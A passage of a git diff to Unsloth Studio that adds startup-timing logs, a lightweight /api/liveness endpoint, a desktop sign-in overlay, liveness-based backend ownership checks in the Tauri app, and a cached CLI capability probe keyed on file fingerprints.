-    # Same for RAG: fail ingestion jobs stranded mid-ingest by a crash.
     try:
         from storage.rag_db import reconcile_orphaned_ingestion_jobs
         reconcile_orphaned_ingestion_jobs()
     except Exception as exc:
-        import structlog
-        structlog.get_logger(__name__).warning(
-            "reconcile_orphaned_ingestion_jobs failed at startup: %s", exc
-        )
+        _lifespan_log.warning("reconcile_orphaned_ingestion_jobs failed at startup: %s", exc)
 
     _start_helper_precache_if_enabled()
+    threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start()
 
-    # Warm the RAG embedder so the first upload skips the cold load. Non-fatal.
-    def _warm_rag_embedder():
-        try:
-            from storage import rag_db
-
-            if not rag_db.RAG_AVAILABLE:
-                return
-            from core.rag import embeddings
-
-            embeddings.warm()
-        except Exception:
-            pass
-
-    threading.Thread(target = _warm_rag_embedder, daemon = True).start()
-
-    # Initialize RSA key pair for API key encryption (external providers)
+    # Initialize RSA key pair for API key encryption (external providers).
     from core.inference.key_exchange import init_key_pair
 
     init_key_pair()
+    _lifespan_log.info(
+        "lifespan pre-auth setup completed in %.1fms",
+        (_time.perf_counter() - _lifespan_started) * 1000,
+    )
 
     if storage.ensure_default_admin():
         bootstrap_pw = storage.get_bootstrap_password()
@@ -532,6 +542,11 @@ async def lifespan(app: FastAPI):
         print("=" * 60 + "\n")
     else:
         app.state.bootstrap_password = storage.get_bootstrap_password()
+
+    _lifespan_log.info(
+        "lifespan startup completed in %.1fms",
+        (_time.perf_counter() - _lifespan_started) * 1000,
+    )
     yield
 
     from core.inference.llama_http import aclose as _close_llama_http
@@ -919,6 +934,21 @@ install_api_error_handlers(app)
 # ============ Health and System Endpoints ============
 
 
+@app.get("/api/liveness")
+async def liveness_check():
+    """Cheap process liveness for desktop port validation."""
+    return {
+        "status": "alive",
+        "service": "Unsloth UI Backend",
+        "desktop_protocol_version": 1,
+        "desktop_manageability_version": 1,
+        "supports_desktop_auth": True,
+        "supports_desktop_backend_ownership": True,
+        "studio_root_id": _studio_root_id(),
+        **({"desktop_owner": owner} if (owner := _desktop_owner()) else {}),
+    }
+
+
 @app.get("/api/health")
 async def health_check(request: Request):
     """Liveness plus launcher capability bits; host fingerprint gated on a bearer.
diff --git a/studio/backend/run.py b/studio/backend/run.py
index d4cbc26b41..6f36f0928a 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -933,6 +933,9 @@ def run_server(
     """
     global _server, _server_thread, _shutdown_event
 
+    boot_started = time.perf_counter()
+    logger.info("run_server startup begin api_only=%s host=%s port=%s", api_only, host, port)
+
     # Reap every child if the parent dies abnormally (terminal close, Task
     # Manager kill, SIGKILL); must run before any child can spawn.
     from utils.process_lifetime import initialize_parent_lifetime
@@ -984,7 +987,14 @@ def run_server(
     from threading import Thread, Event
     import uvicorn
 
+    import_started = time.perf_counter()
+
     from main import app, setup_frontend, _IS_COLAB
+
+    logger.info(
+        "Imported FastAPI app in %.1fms",
+        (time.perf_counter() - import_started) * 1000,
+    )
     from utils.paths import ensure_studio_directories
 
     # Allow local stdio MCP servers on a loopback bind (the user's own machine),
@@ -997,6 +1007,11 @@ def run_server(
     # Create all standard directories on startup.
     ensure_studio_directories()
 
+    logger.info(
+        "Ensured Studio directories in %.1fms",
+        (time.perf_counter() - boot_started) * 1000,
+    )
+
     # Auto-find a free port if the requested one is in use.
     if not _is_port_free(host, port):
         original_port = port
@@ -1060,6 +1075,11 @@ def run_server(
     display_host = _resolve_external_ip() if host == "0.0.0.0" else host
     _install_uvicorn_startup_log_rewrite(host, display_host)
 
+    logger.info(
+        "run_server pre-uvicorn setup completed in %.1fms",
+        (time.perf_counter() - boot_started) * 1000,
+    )
+
     ready_event = Event()
     startup_failed = Event()
     startup_errors = []
@@ -1068,6 +1088,10 @@ def run_server(
         async def startup(self, *args, **kwargs):
             await super().startup(*args, **kwargs)
             if getattr(self, "started", False) and not self.should_exit:
+                logger.info(
+                    "Uvicorn startup hook completed in %.1fms",
+                    (time.perf_counter() - boot_started) * 1000,
+                )
                 ready_event.set()
 
     # server_header=False suppresses uvicorn's "Server: uvicorn"; SecurityHeadersMiddleware sets its own.
@@ -1150,6 +1174,11 @@ def run_server(
         _shutdown_event.set()
         raise
 
+    logger.info(
+        "run_server uvicorn ready after %.1fms",
+        (time.perf_counter() - boot_started) * 1000,
+    )
+
     _write_pid_file()
     import atexit
 
diff --git a/studio/frontend/src/app/provider.tsx b/studio/frontend/src/app/provider.tsx
index 914abbbf1d..176665769d 100644
--- a/studio/frontend/src/app/provider.tsx
+++ b/studio/frontend/src/app/provider.tsx
@@ -354,12 +354,11 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     );
   }
 
-  const showApp = status === "running" && desktopAuthReady;
+  const showApp = status === "running";
+  const desktopBooting = status === "running" && !desktopAuthReady;
+  const showInteractiveApp = showApp && desktopAuthReady;
   const startupStatus = status === "running" ? "starting" : status;
-  const startupProgressDetail =
-    status === "running" && !desktopAuthReady
-      ? "Signing in to desktop session..."
-      : progressDetail;
+  const startupProgressDetail = progressDetail;
   const usesCustomTitlebar = shouldUseCustomWindowTitlebar();
   const usesNativeMacTitlebar = shouldUseNativeMacWindowTitlebar();
   const hidesTitlebarSidebar = HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname);
@@ -369,12 +368,23 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       <TauriUpdateLayer isExternalServer={isExternalServer}>
         <LlamaUpdateBanner
           positioned={false}
-          enabled={!hidesTitlebarSidebar}
+          enabled={showInteractiveApp && !hidesTitlebarSidebar}
         />
-        <DownloadManagerPanel positioned={false} />
+        {showInteractiveApp ? <DownloadManagerPanel positioned={false} /> : null}
       </TauriUpdateLayer>
-      <NativeIntentDrain />
-      {children}
+      {showInteractiveApp ? <NativeIntentDrain /> : null}
+      {showInteractiveApp ? children : null}
+      {desktopBooting ? (
+        <div className="pointer-events-none fixed inset-x-0 bottom-5 z-[9999] flex justify-center px-4">
+          <div className="absolute inset-x-4 bottom-16 mx-auto flex max-w-[520px] flex-col items-center gap-2 rounded-2xl border border-border/70 bg-background/95 px-6 py-5 text-center shadow-xl">
+            <div className="font-medium text-sm">Preparing Studio</div>
+            <div className="text-muted-foreground text-xs">The local backend is ready. Signing in to your desktop session before loading chats.</div>
+          </div>
+          <div className="rounded-full border border-border/70 bg-background/95 px-4 py-2 text-xs text-muted-foreground shadow-lg">
+            Signing in to desktop session...
+          </div>
+        </div>
+      ) : null}
     </>
   ) : (
     <StartupScreen
diff --git a/studio/frontend/src/hooks/use-tauri-backend.ts b/studio/frontend/src/hooks/use-tauri-backend.ts
index 086cfc8090..db996768a6 100644
--- a/studio/frontend/src/hooks/use-tauri-backend.ts
+++ b/studio/frontend/src/hooks/use-tauri-backend.ts
@@ -75,8 +75,7 @@ function externalConflictMessage(preflight: DesktopPreflightResult) {
     : "A Unsloth server for this install is already running from a terminal. Stop that server, or run `unsloth studio update` from that terminal before using the desktop app.";
 }
 
-async function waitForManagedServerReady(
-  invoke: TauriInvoke,
+async function waitForManagedServerPort(
   getPort: () => number | null,
   shouldContinue: () => boolean,
 ): Promise<ManagedStartupResult> {
@@ -91,15 +90,7 @@ async function waitForManagedServerReady(
       continue;
     }
 
-    const healthy = await invoke<boolean>("check_health", { port });
-    if (!shouldContinue()) {
-      return { status: "aborted" };
-    }
-    if (healthy && getPort() === port) {
-      return { status: "ready", port };
-    }
-
-    await wait(MANAGED_STARTUP_POLL_MS);
+    return { status: "ready", port };
   }
 }
 
@@ -280,10 +271,9 @@ export function useTauriBackend() {
       // backend/run.py keeps the 8888-8908 fallback via server-port/TAURI_PORT.
       await invoke("start_managed_server", { port: 8888 });
 
-      // Wait for the owned backend's server-port event. Don't attach to an
-      // external backend if the managed start doesn't report a port.
-      const startupResult = await waitForManagedServerReady(
-        invoke,
+      // Rust emits server-port only after validating the desktop-owned process.
+      // Treat that as the UI handoff point instead of doing a second health poll.
+      const startupResult = await waitForManagedServerPort(
         () => portRef.current,
         () => startingRef.current,
       );
diff --git a/studio/src-tauri/src/commands.rs b/studio/src-tauri/src/commands.rs
index 7c1ce611b8..6bc2116786 100644
--- a/studio/src-tauri/src/commands.rs
+++ b/studio/src-tauri/src/commands.rs
@@ -65,10 +65,18 @@ pub async fn desktop_preflight(
     shutdown: tauri::State<'_, ShutdownFlag>,
     diagnostics: tauri::State<'_, DiagnosticsState>,
 ) -> Result<crate::preflight::DesktopPreflightResult, String> {
+    let started = Instant::now();
     let (result, adopted_watchdog_generation) =
         crate::preflight::desktop_preflight_result_with_state(state.inner()).await?;
     diagnostics::record_preflight(&diagnostics, &result);
 
+    info!(
+        "desktop_preflight completed disposition={:?} port={:?} in {}ms",
+        result.disposition,
+        result.port,
+        started.elapsed().as_millis()
+    );
+
     if let Some((generation, newly_adopted)) = adopted_watchdog_generation {
         if newly_adopted {
             if let Some(port) = result.port {
@@ -205,9 +213,17 @@ pub async fn start_managed_server(
     port: u16,
 ) -> Result<(), String> {
     info!("start_managed_server command called with port {}", port);
+
+    let started = Instant::now();
     let diagnostics_state = diagnostics.inner().clone();
     let generation = process::start_backend(&app, &state, port, &shutdown, &diagnostics_state)?;
 
+    info!(
+        "start_managed_server spawned generation={} in {}ms",
+        generation,
+        started.elapsed().as_millis()
+    );
+
     let watchdog_state = state.inner().clone();
     let watchdog_shutdown = shutdown.inner().clone();
     let watchdog_app = app.clone();
diff --git a/studio/src-tauri/src/desktop_backend_owner.rs b/studio/src-tauri/src/desktop_backend_owner.rs
index ed4b5f7fd9..c7d0a7b309 100644
--- a/studio/src-tauri/src/desktop_backend_owner.rs
+++ b/studio/src-tauri/src/desktop_backend_owner.rs
@@ -93,7 +93,7 @@ enum PreviousAppPidStatus {
     Uncertain,
 }
 
-#[derive(Debug, Deserialize)]
+#[derive(Clone, Debug, Deserialize)]
 struct HealthDesktopOwner {
     kind: Option<String>,
     token_sha256: Option<String>,
@@ -101,15 +101,7 @@ struct HealthDesktopOwner {
 
 #[derive(Debug, Deserialize)]
 struct HealthResponse {
-    status: Option<String>,
-    service: Option<String>,
     version: Option<String>,
-    desktop_protocol_version: Option<u16>,
-    desktop_manageability_version: Option<u16>,
-    supports_desktop_auth: Option<bool>,
-    supports_desktop_backend_ownership: Option<bool>,
-    studio_root_id: Option<String>,
-    desktop_owner: Option<HealthDesktopOwner>,
 }
 
 #[derive(Debug)]
@@ -123,6 +115,18 @@ struct DesktopLoginPayload<'a> {
     secret: &'a str,
 }
 
+#[derive(Clone, Debug, Deserialize)]
+pub(crate) struct DesktopLiveness {
+    status: Option<String>,
+    service: Option<String>,
+    desktop_protocol_version: Option<u16>,
+    desktop_manageability_version: Option<u16>,
+    supports_desktop_auth: Option<bool>,
+    supports_desktop_backend_ownership: Option<bool>,
+    studio_root_id: Option<String>,
+    desktop_owner: Option<HealthDesktopOwner>,
+}
+
 #[derive(Deserialize)]
 struct TokenResponse {
     access_token: String,
@@ -290,10 +294,10 @@ impl BackendOwnerState {
     }
 
     pub(crate) fn verifies_exact_port_blocking(&self, port: u16) -> bool {
-        match fetch_health_blocking(port) {
-            Ok(Some(health)) => {
-                health_verifies_metadata(&health, &self.metadata)
-                    && lifecycle_control_block_reason(&health).is_none()
+        match fetch_liveness_blocking(port) {
+            Ok(Some(liveness)) => {
+                liveness_verifies_metadata(&liveness, &self.metadata)
+                    && lifecycle_control_block_reason(&liveness).is_none()
             }
             _ => false,
         }
@@ -498,66 +502,110 @@ pub(crate) fn test_owner_state(root_id: &str, token: &str, port: u16) -> Backend
     }
 }
 
-fn health_verifies_metadata(health: &HealthResponse, metadata: &DesktopBackendMetadata) -> bool {
-    let healthy = health.status.as_deref() == Some("healthy")
-        && health.service.as_deref() == Some("Unsloth UI Backend");
-    let Some(owner) = health.desktop_owner.as_ref() else {
+fn liveness_verifies_metadata(
+    liveness: &DesktopLiveness,
+    metadata: &DesktopBackendMetadata,
+) -> bool {
+    let alive = matches!(liveness.status.as_deref(), Some("alive") | Some("healthy"))
+        && liveness.service.as_deref() == Some("Unsloth UI Backend");
+    let Some(owner) = liveness.desktop_owner.as_ref() else {
         return false;
     };
-    healthy
+    alive
         && owner_matches_metadata(
             metadata,
-            health.studio_root_id.as_deref(),
+            liveness.studio_root_id.as_deref(),
             owner.kind.as_deref(),
             owner.token_sha256.as_deref(),
         )
 }
 
-fn lifecycle_control_block_reason(health: &HealthResponse) -> Option<String> {
-    if health.desktop_protocol_version != Some(crate::preflight::DESKTOP_PROTOCOL_VERSION) {
+fn lifecycle_control_block_reason(liveness: &DesktopLiveness) -> Option<String> {
+    if liveness.desktop_protocol_version != Some(crate::preflight::DESKTOP_PROTOCOL_VERSION) {
         return Some("desktop_protocol_incompatible".to_string());
     }
-    if health.supports_desktop_auth != Some(true) {
+    if liveness.supports_desktop_auth != Some(true) {
         return Some("desktop_auth_unsupported".to_string());
     }
-    if health.desktop_manageability_version.unwrap_or(0)
+    if liveness.desktop_manageability_version.unwrap_or(0)
         < crate::preflight::DESKTOP_MANAGEABILITY_VERSION
     {
         return Some("desktop_manageability_unsupported".to_string());
     }
-    if health.supports_desktop_backend_ownership != Some(true) {
+    if liveness.supports_desktop_backend_ownership != Some(true) {
         return Some("desktop_backend_ownership_unsupported".to_string());
     }
     None
 }
 
-fn ready_for_use_status(health: &HealthResponse) -> OwnedBackendReadiness {
-    match crate::preflight::backend_version_stale_reason(health.version.as_deref()) {
+fn ready_for_use_status(health: Option<&HealthResponse>) -> OwnedBackendReadiness {
+    let version = health
+        .and_then(|h| h.version.as_deref())
+        .filter(|v| !v.is_empty());
+    match crate::preflight::backend_version_stale_reason(version) {
         Some(reason) => OwnedBackendReadiness::Stale { reason },
         None => OwnedBackendReadiness::Ready,
     }
 }
 
-async fn fetch_health(port: u16) -> Result<Option<HealthResponse>, reqwest::Error> {
+async fn health_ready_status(port: u16) -> OwnedBackendReadiness {
+    match fetch_health(port).await {
+        Ok(health) => ready_for_use_status(health.as_ref()),
+        Err(reason) => OwnedBackendReadiness::Stale { reason },
+    }
+}
+
+async fn fetch_liveness(port: u16) -> Result<Option<DesktopLiveness>, reqwest::Error> {
     let client = reqwest::Client::builder()
         .timeout(LOCAL_HTTP_TIMEOUT)
         .build()?;
+    for path in ["/api/liveness", "/api/health"] {
+        let response = client
+            .get(format!("http://127.0.0.1:{port}{path}"))
+            .send()
+            .await?;
+        if response.status() == reqwest::StatusCode::NOT_FOUND && path == "/api/liveness" {
+            continue;
+        }
+        if !response.status().is_success() {
+            return Ok(None);
+        }
+        return response.json::<DesktopLiveness>().await.map(Some);
+    }
+    Ok(None)
+}
+
+fn fetch_liveness_blocking(port: u16) -> Result<Option<DesktopLiveness>, String> {
+    for path in ["/api/liveness", "/api/health"] {
+        let response = http_request_blocking(port, "GET", path, &[], &[])?;
+        if response.status == 404 && path == "/api/liveness" {
+            continue;
+        }
+        if !(200..300).contains(&response.status) {
+            return Ok(None);
+        }
+        return serde_json::from_slice::<DesktopLiveness>(&response.body)
+            .map(Some)
+            .map_err(|e| e.to_string());
+    }
+    Ok(None)
+}
+async fn fetch_health(port: u16) -> Result<Option<HealthResponse>, String> {
+    let client = reqwest::Client::builder()
+        .timeout(LOCAL_HTTP_TIMEOUT)
+        .build()
+        .map_err(|e| e.to_string())?;
     let response = client
         .get(format!("http://127.0.0.1:{port}/api/health"))
         .send()
-        .await?;
+        .await
+        .map_err(|e| e.to_string())?;
     if !response.status().is_success() {
         return Ok(None);
     }
-    response.json::<HealthResponse>().await.map(Some)
-}
-
-fn fetch_health_blocking(port: u16) -> Result<Option<HealthResponse>, String> {
-    let response = http_request_blocking(port, "GET", "/api/health", &[], &[])?;
-    if !(200..300).contains(&response.status) {
-        return Ok(None);
-    }
-    serde_json::from_slice::<HealthResponse>(&response.body)
+    response
+        .json::<HealthResponse>()
+        .await
         .map(Some)
         .map_err(|e| e.to_string())
 }
@@ -618,21 +666,21 @@ pub(crate) async fn probe_owned_backend_state(
     };
     let mut verified = Vec::new();
     for port in ports {
-        let health = match fetch_health(port).await {
-            Ok(Some(health)) => health,
+        let liveness = match fetch_liveness(port).await {
+            Ok(Some(liveness)) => liveness,
             Ok(None) => continue,
             Err(error) => {
                 warn!(
-                    "Desktop-owned backend probe skipped port {} after health error: {}",
+                    "Desktop-owned backend probe skipped port {} after liveness error: {}",
                     port, error
                 );
                 continue;
             }
         };
-        if !health_verifies_metadata(&health, &owner.metadata) {
+        if !liveness_verifies_metadata(&liveness, &owner.metadata) {
             continue;
         }
-        if let Some(reason) = lifecycle_control_block_reason(&health) {
+        if let Some(reason) = lifecycle_control_block_reason(&liveness) {
             return OwnedBackendProbe::Unmanageable { port, reason };
         }
         if !desktop_login_route_compatible(port).await {
@@ -646,7 +694,7 @@ pub(crate) async fn probe_owned_backend_state(
                 return OwnedBackendProbe::Unmanageable { port, reason };
             }
         }
-        verified.push((port, ready_for_use_status(&health)));
+        verified.push((port, health_ready_status(port).await));
     }
 
     if verified.len() != 1 {
@@ -967,12 +1015,11 @@ mod tests {
     }
 
     #[test]
-    fn health_verification_requires_root_kind_and_token_sha() {
+    fn liveness_verification_requires_root_kind_and_token_sha() {
         let metadata = metadata(1, Some(8888));
-        let health = HealthResponse {
-            status: Some("healthy".to_string()),
+        let liveness = DesktopLiveness {
+            status: Some("alive".to_string()),
             service: Some("Unsloth UI Backend".to_string()),
-            version: Some("2026.5.2".to_string()),
             desktop_protocol_version: Some(1),
             desktop_manageability_version: Some(1),
             supports_desktop_auth: Some(true),
@@ -983,12 +1030,12 @@ mod tests {
                 token_sha256: Some(token_sha256(TOKEN)),
             }),
         };
-        assert!(health_verifies_metadata(&health, &metadata));
+        assert!(liveness_verifies_metadata(&liveness, &metadata));
 
-        let mut wrong_root = health;
+        let mut wrong_root = liveness;
         wrong_root.studio_root_id =
             Some("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string());
-        assert!(!health_verifies_metadata(&wrong_root, &metadata));
+        assert!(!liveness_verifies_metadata(&wrong_root, &metadata));
     }
 
     #[tokio::test]
diff --git a/studio/src-tauri/src/preflight.rs b/studio/src-tauri/src/preflight.rs
index 9138f30a58..5a48d26632 100644
--- a/studio/src-tauri/src/preflight.rs
+++ b/studio/src-tauri/src/preflight.rs
@@ -193,6 +193,9 @@ pub async fn desktop_preflight_result_with_state(
 
     if let Some(snapshot) = crate::process::owned_backend_snapshot(state)? {
         let Some(owner) = snapshot.owner.clone() else {
+            // TAURI_PORT is emitted only after uvicorn lifespan completes; keep
+            // this ownerless path on full health so auth/bootstrap are ready.
+
             let probe = match snapshot.port {
                 Some(port) => backend::probe_ownerless_spawned_backend(port).await,
                 None => backend,
@@ -494,9 +497,22 @@ mod tests {
         FakeCli { bin, dir }
     }
 
+    #[cfg(unix)]
+    fn remove_managed_capability_cache() {
+        let _ = std::fs::remove_file(
+            dirs::home_dir()
+                .unwrap()
+                .join(".unsloth")
+                .join("studio")
+                .join("desktop_capability_cache.json"),
+        );
+    }
+
     #[cfg(unix)]
     #[tokio::test]
     async fn managed_cli_capability_probe_classifies_core_cases() {
+        remove_managed_capability_cache();
+
         for (name, script, stale_reason) in [
             (
                 "cap-missing",
diff --git a/studio/src-tauri/src/preflight/backend.rs b/studio/src-tauri/src/preflight/backend.rs
index 0277ef5149..5a58142667 100644
--- a/studio/src-tauri/src/preflight/backend.rs
+++ b/studio/src-tauri/src/preflight/backend.rs
@@ -3,7 +3,10 @@ use super::version::{
     backend_version_stale_reason, DESKTOP_MANAGEABILITY_VERSION, DESKTOP_PROTOCOL_VERSION,
 };
 use serde::{Deserialize, Serialize};
+
+use log::info;
 use std::time::Duration;
+use std::time::Instant;
 
 #[derive(Debug, Deserialize)]
 struct DesktopOwnerHealth {
@@ -24,6 +27,7 @@ pub(super) struct BackendHealth {
 }
 
 pub(super) async fn backend_health(client: &reqwest::Client, port: u16) -> Option<BackendHealth> {
+    let started = Instant::now();
     let url = format!("http://127.0.0.1:{port}/api/health");
     let response = client.get(url).send().await.ok()?;
     if !response.status().is_success() {
@@ -40,6 +44,14 @@ pub(super) async fn backend_health(client: &reqwest::Client, port: u16) -> Optio
         .and_then(|v| v.as_str())
         .map(|s| s == "Unsloth UI Backend")
         .unwrap_or(false);
+    info!(
+        "Desktop preflight: health probe on port {} healthy={} service={} in {}ms",
+        port,
+        healthy,
+        service,
+        started.elapsed().as_millis()
+    );
+
     if !healthy || !service {
         return None;
     }
diff --git a/studio/src-tauri/src/preflight/managed.rs b/studio/src-tauri/src/preflight/managed.rs
index 51fde51896..57b8365ec5 100644
--- a/studio/src-tauri/src/preflight/managed.rs
+++ b/studio/src-tauri/src/preflight/managed.rs
@@ -2,14 +2,30 @@ use super::types::ManagedProbe;
 use super::version::{
     backend_version_stale_reason, DESKTOP_MANAGEABILITY_VERSION, DESKTOP_PROTOCOL_VERSION,
 };
-use serde::Deserialize;
+use log::{info, warn};
+use serde::{Deserialize, Serialize};
+use std::fs;
 use std::path::{Path, PathBuf};
 use std::process::Stdio;
-use std::time::Duration;
+use std::time::{Duration, Instant, UNIX_EPOCH};
 use tokio::io::AsyncReadExt;
 use tokio::process::Command;
 
-#[derive(Debug, Deserialize)]
+const MANAGED_CAPABILITY_CACHE_SCHEMA: u16 = 2;
+
+const FNV64_OFFSET_BASIS: u64 = 0xcbf29ce484222325;
+const FNV64_PRIME: u64 = 0x100000001b3;
+const HASHED_MARKER_MAX_BYTES: u64 = 64 * 1024;
+
+const FALLBACK_MARKER_NAMES: &[&str] = &[
+    "pyvenv.cfg",
+    "uv.lock",
+    "requirements.txt",
+    "python.exe",
+    "python",
+];
+
+#[derive(Debug, Clone, Deserialize, Serialize)]
 struct DesktopCapability {
     desktop_protocol_version: Option<u16>,
     desktop_manageability_version: Option<u16>,
@@ -20,7 +36,225 @@ struct DesktopCapability {
     version: Option<String>,
 }
 
+#[derive(Debug, Clone, Deserialize, Serialize)]
+struct ManagedCapabilityCache {
+    schema: u16,
+    bin_path: String,
+    bin_size: u64,
+    bin_mtime_ms: u64,
+    studio_root_id: Option<String>,
+    marker_path: Option<String>,
+    marker_size: Option<u64>,
+    marker_mtime_ms: Option<u64>,
+    desktop_protocol_version: u16,
+    desktop_manageability_version: u16,
+    capability: DesktopCapability,
+}
+
+#[derive(Debug, Clone)]
+struct MarkerFingerprint {
+    path: String,
+    size: u64,
+    mtime_ms: u64,
+    content_hash: Option<u64>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct ManagedBinFingerprint {
+    bin_path: String,
+    bin_size: u64,
+    bin_mtime_ms: u64,
+    studio_root_id: Option<String>,
+    marker_path: Option<String>,
+    marker_size: Option<u64>,
+    marker_mtime_ms: Option<u64>,
+}
+
+fn modified_ms(metadata: &fs::Metadata) -> Option<u64> {
+    metadata
+        .modified()
+        .ok()?
+        .duration_since(UNIX_EPOCH)
+        .ok()
+        .and_then(|duration| u64::try_from(duration.as_millis()).ok())
+}
+fn hash_bytes(hash: u64, bytes: &[u8]) -> u64 {
+    bytes.iter().fold(hash, |mut next, byte| {
+        next ^= u64::from(*byte);
+        next.wrapping_mul(FNV64_PRIME)
+    })
+}
+
+fn marker_content_hash(path: &Path, metadata: &fs::Metadata) -> Option<u64> {
+    if metadata.len() > HASHED_MARKER_MAX_BYTES {
+        return None;
+    }
+    fs::read(path)
+        .ok()
+        .map(|bytes| hash_bytes(FNV64_OFFSET_BASIS, &bytes))
+}
+
+fn marker_candidates_for_bin(bin: &Path) -> Vec<PathBuf> {
+    let Some(scripts_dir) = bin.parent() else {
+        return Vec::new();
+    };
+    let Some(venv_dir) = scripts_dir.parent() else {
+        return Vec::new();
+    };
+    let mut out = Vec::new();
+
+    #[cfg(unix)]
+    {
+        if let Ok(lib_dir) = fs::read_dir(venv_dir.join("lib")) {
+            for entry in lib_dir.flatten() {
+                out.push(
+                    entry
+                        .path()
+                        .join("site-packages")
+                        .join("unsloth_cli")
+                        .join("commands")
+                        .join("studio.py"),
+                );
+            }
+        }
+    }
+    for marker_name in FALLBACK_MARKER_NAMES {
+        out.push(venv_dir.join(marker_name));
+        out.push(scripts_dir.join(marker_name));
+    }
+
+    out.push(
+        venv_dir
+            .join("Lib")
+            .join("site-packages")
+            .join("unsloth_cli")
+            .join("commands")
+            .join("studio.py"),
+    );
+    out
+}
+
+fn managed_bin_fingerprint(bin: &Path) -> Option<ManagedBinFingerprint> {
+    let bin_metadata = fs::metadata(bin).ok()?;
+    let bin_path = bin
+        .canonicalize()
+        .unwrap_or_else(|_| bin.to_path_buf())
+        .to_string_lossy()
+        .into_owned();
+
+    let studio_root_id = crate::desktop_backend_owner::read_expected_studio_root_id();
+    let mut marker_entries: Vec<MarkerFingerprint> = marker_candidates_for_bin(bin)
+        .into_iter()
+        .filter_map(|path| {
+            let metadata = fs::metadata(&path).ok()?;
+            Some(MarkerFingerprint {
+                path: path
+                    .canonicalize()
+                    .unwrap_or(path.clone())
+                    .to_string_lossy()
+                    .into_owned(),
+                size: metadata.len(),
+                mtime_ms: modified_ms(&metadata)?,
+                content_hash: marker_content_hash(&path, &metadata),
+            })
+        })
+        .collect();
+    marker_entries.sort_by(|left, right| left.path.cmp(&right.path));
+    let marker_hash = marker_entries
+        .iter()
+        .fold(FNV64_OFFSET_BASIS, |hash, marker| {
+            let next = hash_bytes(hash, marker.path.as_bytes());
+            let next = hash_bytes(next, &marker.size.to_le_bytes());
+            let next = hash_bytes(next, &marker.mtime_ms.to_le_bytes());
+            if let Some(content_hash) = marker.content_hash {
+                hash_bytes(next, &content_hash.to_le_bytes())
+            } else {
+                next
+            }
+        });
+    let marker_path = (!marker_entries.is_empty()).then(|| "markers".to_string());
+    let marker_size = (!marker_entries.is_empty()).then(|| marker_entries.len() as u64);
+    let marker_mtime_ms = (!marker_entries.is_empty()).then_some(marker_hash);
+
+    Some(ManagedBinFingerprint {
+        bin_path,
+        bin_size: bin_metadata.len(),
+        bin_mtime_ms: modified_ms(&bin_metadata)?,
+        studio_root_id,
+        marker_path,
+        marker_size,
+        marker_mtime_ms,
+    })
+}
+
+fn capability_cache_path() -> Option<PathBuf> {
+    dirs::home_dir().map(|home| {
+        home.join(".unsloth")
+            .join("studio")
+            .join("desktop_capability_cache.json")
+    })
+}
+
+fn cache_matches(cache: &ManagedCapabilityCache, fingerprint: &ManagedBinFingerprint) -> bool {
+    cache.schema == MANAGED_CAPABILITY_CACHE_SCHEMA
+        && cache.desktop_protocol_version == DESKTOP_PROTOCOL_VERSION
+        && cache.desktop_manageability_version == DESKTOP_MANAGEABILITY_VERSION
+        && cache.bin_path == fingerprint.bin_path
+        && cache.bin_size == fingerprint.bin_size
+        && cache.bin_mtime_ms == fingerprint.bin_mtime_ms
+        && cache.studio_root_id == fingerprint.studio_root_id
+        && cache.marker_path == fingerprint.marker_path
+        && cache.marker_size == fingerprint.marker_size
+        && cache.marker_mtime_ms == fingerprint.marker_mtime_ms
+        && desktop_capability_ready(&cache.capability)
+}
+
+fn read_cached_capability(fingerprint: &ManagedBinFingerprint) -> Option<DesktopCapability> {
+    let path = capability_cache_path()?;
+    let bytes = fs::read(path).ok()?;
+    let cache = serde_json::from_slice::<ManagedCapabilityCache>(&bytes).ok()?;
+    if cache_matches(&cache, fingerprint) {
+        Some(cache.capability)
+    } else {
+        None
+    }
+}
+
+fn write_cached_capability(fingerprint: &ManagedBinFingerprint, capability: &DesktopCapability) {
+    let Some(path) = capability_cache_path() else {
+        return;
+    };
+    let cache = ManagedCapabilityCache {
+        schema: MANAGED_CAPABILITY_CACHE_SCHEMA,
+        bin_path: fingerprint.bin_path.clone(),
+        bin_size: fingerprint.bin_size,
+        bin_mtime_ms: fingerprint.bin_mtime_ms,
+        studio_root_id: fingerprint.studio_root_id.clone(),
+        marker_path: fingerprint.marker_path.clone(),
+        marker_size: fingerprint.marker_size,
+        marker_mtime_ms: fingerprint.marker_mtime_ms,
+        desktop_protocol_version: DESKTOP_PROTOCOL_VERSION,
+        desktop_manageability_version: DESKTOP_MANAGEABILITY_VERSION,
+        capability: capability.clone(),
+    };
+    if let Some(parent) = path.parent() {
+        if fs::create_dir_all(parent).is_err() {
+            return;
+        }
+    }
+    let Ok(bytes) = serde_json::to_vec_pretty(&cache) else {
+        return;
+    };
+    if let Err(error) = fs::write(&path, bytes) {
+        warn!(
+            "Managed preflight: could not write capability cache: {}",
+            error
+        );
+    }
+}
+
 async fn run_cli_probe(bin: &Path, args: &[&str]) -> bool {
+    let started = Instant::now();
     let mut cmd = Command::new(bin);
     cmd.args(args).stdout(Stdio::null()).stderr(Stdio::null());
 
@@ -43,20 +277,33 @@ async fn run_cli_probe(bin: &Path, args: &[&str]) -> bool {
     }
 
     let Ok(mut child) = cmd.spawn() else {
+        info!(
+            "Managed preflight probe {:?} failed to spawn in {}ms",
+            args,
+            started.elapsed().as_millis()
+        );
         return false;
     };
 
-    match tokio::time::timeout(Duration::from_secs(10), child.wait()).await {
+    let ok = match tokio::time::timeout(Duration::from_secs(10), child.wait()).await {
         Ok(Ok(status)) => status.success(),
         _ => {
             let _ = child.kill().await;
             let _ = child.wait().await;
             false
         }
-    }
+    };
+    info!(
+        "Managed preflight probe {:?} finished ok={} in {}ms",
+        args,
+        ok,
+        started.elapsed().as_millis()
+    );
+    ok
 }
 
 async fn probe_cli_capability(bin: &Path) -> Option<DesktopCapability> {
+    let started = Instant::now();
     let mut cmd = Command::new(bin);
     cmd.args(["studio", "desktop-capabilities", "--json"])
         .stdout(Stdio::piped())
@@ -81,6 +328,10 @@ async fn probe_cli_capability(bin: &Path) -> Option<DesktopCapability> {
     }
 
     let Ok(mut child) = cmd.spawn() else {
+        info!(
